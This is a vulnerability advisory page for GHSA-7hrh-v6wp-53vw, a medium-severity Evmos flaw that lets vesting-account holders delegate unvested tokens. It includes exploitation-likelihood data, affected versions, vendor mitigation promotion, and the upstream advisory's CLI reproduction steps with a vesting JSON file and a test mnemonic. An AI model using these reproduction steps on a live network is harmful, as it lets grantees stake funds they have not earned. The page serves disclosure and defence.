GHSA-7hrh-v6wp-53vw — v18
MEDIUMGHSA-7hrh-v6wp-53vw is a medium-severity (CVSS 5.3) CWE-285 vulnerability in github.com/evmos/evmos/v18. No vendor fix is recorded yet; mitigation options are listed below.
Evmos allows unvested token delegations
Exploitation Status
No confirmed exploitation observed yet
- CISA assesses this as automatable — exploitation doesn’t require manual, per-target effort, which raises the odds of mass scanning and opportunistic attacks.
- CISA’s own triage has not observed active exploitation or public proof-of-concept code for this CVE as of its last assessment.
Exploitation and automatability from CISA’s SSVC triage for GHSA-7hrh-v6wp-53vw.
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
How urgent is this, really
GHSA-7hrh-v6wp-53vw plotted by exploitation likelihood (EPSS) against impact (CVSS). The shaded corner — EPSS 50%+ and CVSS 7.0+ — is where this CVE doesn't sit, though severity or exploitability alone can still warrant action.
Where this sits among everything scored
Of 378,156 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Real counts from FIRST.org, not a sample — log-scaled since the landscape is heavily right-skewed.
Real-World Exposure
github.com/evmos/evmos/v18🐹github.com/evmos/evmos/v17🐹github.com/evmos/evmos/v16🐹github.com/evmos/evmos/v15🐹github.com/evmos/evmos/v14🐹github.com/evmos/evmos/v13🐹github.com/evmos/evmos/v12🐹github.com/evmos/evmos/v11+5 moreReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects Go packages — download data is not available via public APIs for these ecosystems.
Description
Impact
What kind of vulnerability is it? Who is impacted?
At the moment, users are able to delegate tokens that have not yet been vested. This affects employees and grantees who have funds managed via ClawbackVestingAccount.
Patches
Has the problem been patched? What versions should users upgrade to?
The PR linked to this advisory includes part of the fix. The remainder is in a second advisory on the Cosmos SDK fork.
Workarounds
Is there a way for users to fix or remediate the vulnerability without upgrading?
There is no effective workaround to fix or remediate this issue without a new release. The best solution is to contain the information about this vulnerability to minimize the number of users who know about it and can thus exploit it.
References
Are there any links users can visit to find out more?
See the integration tests for more details on the exploit, or use the following to reproduce it on the CLI:
- Download
vesting_setup.jsonwith the following contents:
{
"start_time": 1679602272,
"periods": [
{
"coins": "100000000000000000000aevmos",
"length_seconds": 10
},
{
"coins": "100000000000000000000aevmos",
"length_seconds": 259200000
}
]
}
- Run the following CLI commands to reproduce the issue locally:
evmosd tx vesting create-clawback-vesting-account evmos1rn7fmq6he0s4uz9mwzzqwwm7fmmepd39cusn0t --vesting vesting_setup.json --from dev0 --fees 2000000000000000aevmos --home ~/.tmp-evmosd --yes
# Verify that the balance contains zero locked tokens, 1000000000000000aevmos vested, 1000000000000000aevmos unvested
evmosd q vesting balances evmos1rn7fmq6he0s4uz9mwzzqwwm7fmmepd39cusn0t --home ~/.tmp-evmosd
evmosd keys add key1 --recover --home ~/.tmp-evmosd
# Enter the following mnemonic
skate tell option purity cattle poverty street act bone govern way various
evmosd q staking validators --home ~/.tmp-evmosd | grep operator_address
# Substitute the operator address from the previous query
# Note that this delegates 70% of the user's available stake
evmosd tx staking delegate <operator_address> 70000000000000000000aevmos --fees 5000000000000000aevmos --gas 300000 --from key1 --home ~/.tmp-evmosd --yes
# Re-run the same command
evmosd tx staking delegate <operator_address> 70000000000000000000aevmos --fees 5000000000000000aevmos --gas 300000 --from key1 --home ~/.tmp-evmosd --yes
# Note that the total delegations now exceed the user's vested balance
evmosd q staking delegations evmos1rn7fmq6he0s4uz9mwzzqwwm7fmmepd39cusn0t --home ~/.tmp-evmosd
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐹Go | github.com/evmos/evmos/v18 | all versions | No fix |
| 🐹Go | github.com/evmos/evmos/v17 | all versions | No fix |
| 🐹Go | github.com/evmos/evmos/v16 | all versions | No fix |
| 🐹Go | github.com/evmos/evmos/v15 | all versions | No fix |
| 🐹Go | github.com/evmos/evmos/v14 | all versions | No fix |
| 🐹Go | github.com/evmos/evmos/v13 | all versions | No fix |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for github.com/evmos/evmos/v18, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Remediation status
No patched version of github.com/evmos/evmos/v18 has shipped for GHSA-7hrh-v6wp-53vw yet. Where your build allows, override or pin the dependency away from the vulnerable range, and apply any maintainer-recommended mitigation.
Mitigate without a patch
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like GHSA-7hrh-v6wp-53vw can be triaged on real exposure rather than presence alone.
Tailored to GHSA-7hrh-v6wp-53vw. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-7hrh-v6wp-53vw in your dependencies?
O3 Security finds GHSA-7hrh-v6wp-53vw across Go dependencies, including transitive ones, and its impact-aware SCA ranks findings by whether your code actually calls the vulnerable path.